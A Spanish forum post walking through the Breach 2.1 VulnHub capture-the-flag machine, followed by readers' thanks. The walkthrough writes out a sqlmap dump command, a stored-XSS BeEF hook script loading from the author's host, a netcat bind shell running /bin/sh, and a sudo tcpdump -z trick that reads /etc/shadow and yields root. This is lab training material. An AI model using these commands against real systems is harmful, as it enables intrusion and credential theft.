VulnHub @ Completando CTF: Breach2.1

Iniciado por shkz, Septiembre 04, 2016, 06:50:03 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 04, 2016, 06:50:03 PM Ultima modificación: Septiembre 09, 2016, 11:14:59 PM por cnfs
Primero que nada, gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por agregar mi paper de resolución en español del CTF de PWNLAB INIT en su propia web, estoy a la espera del segundo jej: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

EDIT* Ya agregaron mi write-up en la web oficial de arriba jeje.

Bien arranquemos este gran CTF, que por cierto me gusto mucho mas que el anterior que resolví.



Comienzo realizando un escaneo de puertos con nmap a la IP objetivo que en este caso esta estática y es la siguiente: 192.168.110.151:

Código: php
nmap -sV -p- 192.168.110.151 -T5




Vemos que figuran 3 puertos abiertos, 2 pertenecientes a rpc y el mas llamativo un ssh server corriendo en el puerto mas alto.
Procedemos a conectarnos via SSH:

Código: php
cnfs@X55:~/Escritorio$ ssh 192.168.110.151 -p 65535




Como vemos en la imagen nos arroja un banner y nos pide ingresar un password. Acá podríamos intentar bruteforcear el login pero como pensé en el CTF anterior, creo que va mas por el lado de resolverlo usando la lógica y tecnicismo que ponernos a crackear.

Después de mirar y mirar me enfoque en el banner y saque dos datos importantes, en una misma linea:

"Peter, if that's you - the password is in the source"

El usuario podría ser Peter......y la contraseña mmm "the password is.....'inthesource'??". Inserto eso, y noto como respuesta que automáticamente se cierra la conexión de manera remota. Se habrá cerrado el puerto?.. se habrá caído el servicio?. Verifiquemos con un nmap nuevamente.



Ahora nos figura un nuevo puerto abierto, un puerto http. Se pone bueno esto..

Verfico con Nikto a ver si me da algo de info extra, ademas de analizarlo manualmente, y no logro obtener nada interesante. Mas que un directorio /icons/ y uno de /images/ el cual no tengo permisos para acceder. Vemos info sobre una fuga de etags.

El index es ".html", no podemos hacer mucho mas.. intento buscar ayuda con un scanner llamado Dirb el cual espero me ayude a conseguir alguna pista que no tenga a la vista:

Código: php
cnfs@X55:~/bin/dirb222$ ./dirb http://192.168.110.151 wordlists/common.txt 




Bingo!. Resulta que hay un blog en este site. Y entre los resultados me encuentro las siguientes carpetas y archivos:

/blog/README
/blog/smilies/
/blog/wysiwyg/
/images/
/blog/



Si miramos el file README, logramos entender que se trata de unas serie de instrucciones para 'instalar' el blog. Eso quiere decir que si le damos al install.php, seguramente nos conceda el placer de instalar desde cero y setear nuestra cuenta de 'admin'.. probemos.

Luego de seguir unos 'Next' seteo la cuenta de Admin satisfactoriamente. Pero al loguear, veo que no podemos hacer mucho mas, la funcionalidad esta reducida. Muy mal... jeje. Sigo.

Verificando exploits por exploit-db, logro dar con algunos que me dan información de posibles XSS y SQLi.

Logro comprobar, que con un simple <script>alert();</script>, en el blog/register.html de la pagina, precisamente en el campo de Username, es vulnerable. Luego al ir a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta vemos el alert:



Luego de familiarizarme un poco mas con la web, intento correr SQLMAP para ver con que me sorprende en el siguiente path:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Y el resultado parece ser muy bueno:



Tranquilamente podria haber puesto un --all para que testee y resuelva todo automáticamente, pero preferí hacerlos mas ordenados de ese modo.
Nos alista unas 5 base de datos que contiene el sitio y en las cuales podemos analizar. Como esto es un Walkthrough voy a saltar todas las pruebas positivas y negativas realizadas, y voy directo a lo mas importante.

Luego de familiarizarme con las DB's logro dar con una base de datos llamada "oscommerce", en la cual posee una tabla llamada: osc_administrators. ;D

Dumpeamos dicha tabla:

Código: php
cnfs@X55:~$ sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dump -T osc_administrators -D oscommerce




Por lo que vemos parece ser un hash md5. Deberíamos crackearlo, pero antes de desperdiciar tiempo crackeandolo podríamos verificar en alguna base de datos online si no fue crackeado con anterioridad y alguien ya lo hizo por nosotros jeje.

Podrían usar una web como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ingresan el hash, y le dan a crack!. Tuve suerte y el resultado fue instantáneo, como dije, nos ahorramos tiempo:



(El password búsquenlo ustedes mismos, no sean vagos jeje)

Bueno continuando con el análisis, verificando algunos archivos dumpeados de la tabla oscommerce, encuentro este Path, pero al parecer no es accesible desde apache:

Tambien verificando otros archivos, pude encontrar un mail interesante: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ese ".local" da a entender que es un mail local de linux, un vhost mas que seguro.

Luego de dar vueltas y vueltas, (de verdad que tarde mucho time.. andaba poco de cafe), logre asimilar el Bannerdel /index.html que dice BEEF + el posible XSS en members.. estaba servido y a la vista. Se trataba de BEEF FRAMEWORK!!!.
Link de referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Bien, si corro el Wireshark a sniffear la red de la victima, logro ver algo como lo siguiente, que se repite reiteradamente, en un plazo muy corto..



Es como si se tratase de un bot.

Procedo a instalar y correr el Beef Framework. Intento Hookear mi ip, para verificar que todo funciona bien y mi pc se reporta hookeada mediante el siguiente .html de prueba:



Si ahora veo el Beef-Framework:



Bien, lo que se me ocurre hacer ahora es volver a donde había inyectado previamente el script alert, en el campo username que era vulnerable a XSS, puede que tengan que reinstalar la VM, ya que si se inyecta muchos usuarios nuevos en el campo username puede que no funcione bien. Cree un nuevo usuario con el siguiente script (en mi caso mi ip local asignada en ese momento):

Código: php
<script src="http://192.168.0.104:3000/hook.js"></script>


Y eso es todo, me dispuse a esperar...esperar.. y esperar. Hasta que, it works!:



Finalmente obtuvimos una conexión. La victima posee un Firefox version 15.0.
Si vemos un poco mas abajo, nos encontramos con la cookie:



La cual intentamos descifrar utilizando un site como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta;



Buscando un poco sobre la version del Firefox, encontramos un exploit aparentemente util en Metasploit: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Ya que estoy utilizando Beef, previamente lo integre con Metasploit. El cual me permite ejecutar exploits desde Beef a las victimas con la db de exploits de metasploit. Corremos el exploit previamente dicho y..



Si bien obtuve shell, se me cerraba realmente muy rapido, a penas segundos duraba para tipear.. por lo cual logre arriesgarme y tratar de abrir un puerto y brindar una shell salvadora con netcat. Antes de que se me desconectara tipie rapidamente:

Código: php
$> nc -le /bin/sh -vp 13337


Y parece que funciono..



Necesito de mi amiga /BIN/BASH:



;D.. ya la tenemos.

Investigamos un poco... encontramos el bendito script que chequeaba constantemente y nos permitio obtener la shell:



Sigo investigando..



Esto nos permitira conectarnos via mysql, pero como ya lo revise y anteriormente habiamos dumpeado tablas, sigo investigando por algo nuevo..
Realizo un netstat -putona, (:P):



Vemos que hay varios puertos, pero me llama la atención ese 2323, si telneteamos a ese puerto localmente, nos sale el siguient prompt..





Todo parece indicar que es Houston... mmmm.. despues de probar muchas veces, logre dar con el usuario que era el que estaba en un /home/: "milton" y la contraseña que acababa de resolver: "Houston". Sin embargo seguían las preguntas..



Whose stapler is it?..... Despues de probar y googlear, llegue a una QUIZ, donde había 4 posibles respuestas, y vaya locura pero me sirvió de pura suerte.. xD, (en la guerra todo se vale o no?).



Bueno verificamos, y logueamos como Milton:



Luego de seguir verificando, hay algo interesante en el ".profile" de Milton:



Hay 2 lineas que ejecutan un script en python llamado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta e inicializa como root la aplicacion nginx.

Si verifico los puertos me llama la atencion el 8888, intento conectar como antes al localhost 8888 y sale lo siguiente:



Parece ser un NGINX, y si hablamos de un nginx estariamos hablando de un servidor http.. entro desde el chrome y logro encontrar la web de oscommerce. No logro encontar el path del login de administrador asi que vuelvo a la shell, y verifico el path..


Código: php
http://192.168.110.151:8888/oscommerce/admin/index.php


Anteriormente habiamos sacado el password de esta tabla, pero al parecer no era correcto mas alla de que el hash estaba bien, la clave es admin:admin. (y la que el hash mostraba como resultado era 32admin).

Automaticamente que me loguie, trate de buscar algún modo de subir alguna shell, encontré un File Manager, pero todos los directorios me limitaban en permisos..



Hasta que encontré ese directorio llamado work. El cual tengo permiso de escritura... Subo mi reverse shell "back2.php":



Ejecutamos un netcat a la escucha del puerto que configuramos la shell.. Navegamos hasta la shell desde el chrome, y vemos si funciona:



Bingo!... corremos la shell bajo el usuario blumbergh. Importamos /bin/bash con python, y luego verificamos que PATH tenemos y verificamos un SUDO -l:



Vemos que nos permite ejecutar TCPDUMP. Que raro.. e interesante.
Luego de analizar, mirar, probar... logre dar con esta referencia desde el site de seclist: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tcpdump incorporo hace unos años la opcion '-z' que suele ir combinada con -C o -G. Esta opción nos permite ejecutar un comando en paralelo a la captura. Vamos a hacer una prueba...



Creamos un file llamado "inject" le damos permiso +x y luego invocamos al tcpdump mediante sudo, en las instrucciones finales le pasamos como -z /tmp/inject el cual contiene un cat al etc/shadow. Como vemos, el resultado funciona! ;D.

Ahora vamos a intentar enviar una shell_reverse a un puerto que dejemos escuchando localmente, a ver si nos da Root de esa manera:



Efectivamente soy ROOT. Invocamos bin/bash, y luego el bendito cat flag.



THE_END.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Security Researcher
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

 
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En primer lugar agradecerte tu extenso y explicativo post.
Es de una lectura muy grata y descriptiva, permitiendo al usuario reconstruir tu experiencia sin dificultad.
Aportes así, son los que incentivan continuar aprendiendo y motivan   la búsqueda e indagación.

Saludos

Gabriela.
Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En primer lugar agradecerte tu extenso y explicativo post.
Es de una lectura muy grata y descriptiva, permitiendo al usuario reconstruir tu experiencia sin dificultad.
Aportes así, son los que incentivan continuar aprendiendo y motivan   la búsqueda e indagación.

Saludos

Gabriela.

Gracias Gaby. Se hizo extenso, pero tengo una costumbre de que generalmente voy anotando cosas cuando investigo o hago algo, eso me ayuda luego a tener la idea ya plasmada o el avance a mano para darle el toque final y postearlo jeje.

Gracias nuevamente, un saludo!.
Security Researcher
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

I N C R E I B L E

Aportazo sin duda, grandísima idea al usar tcpdump con la shell.

Y muchísimas gracias por estos aportazos, que siempre vienen bien para aprender cosas nuevas ^^

Llegarás muy lejos @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, sigue así.

Un saludo.



Muchas gracias Black, me alegra que haya gustado. Espero pronto aportar nuevamente.. solo es cuestion de tiempo de sentarme a escribir e investigar.

Saludos!
Security Researcher
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta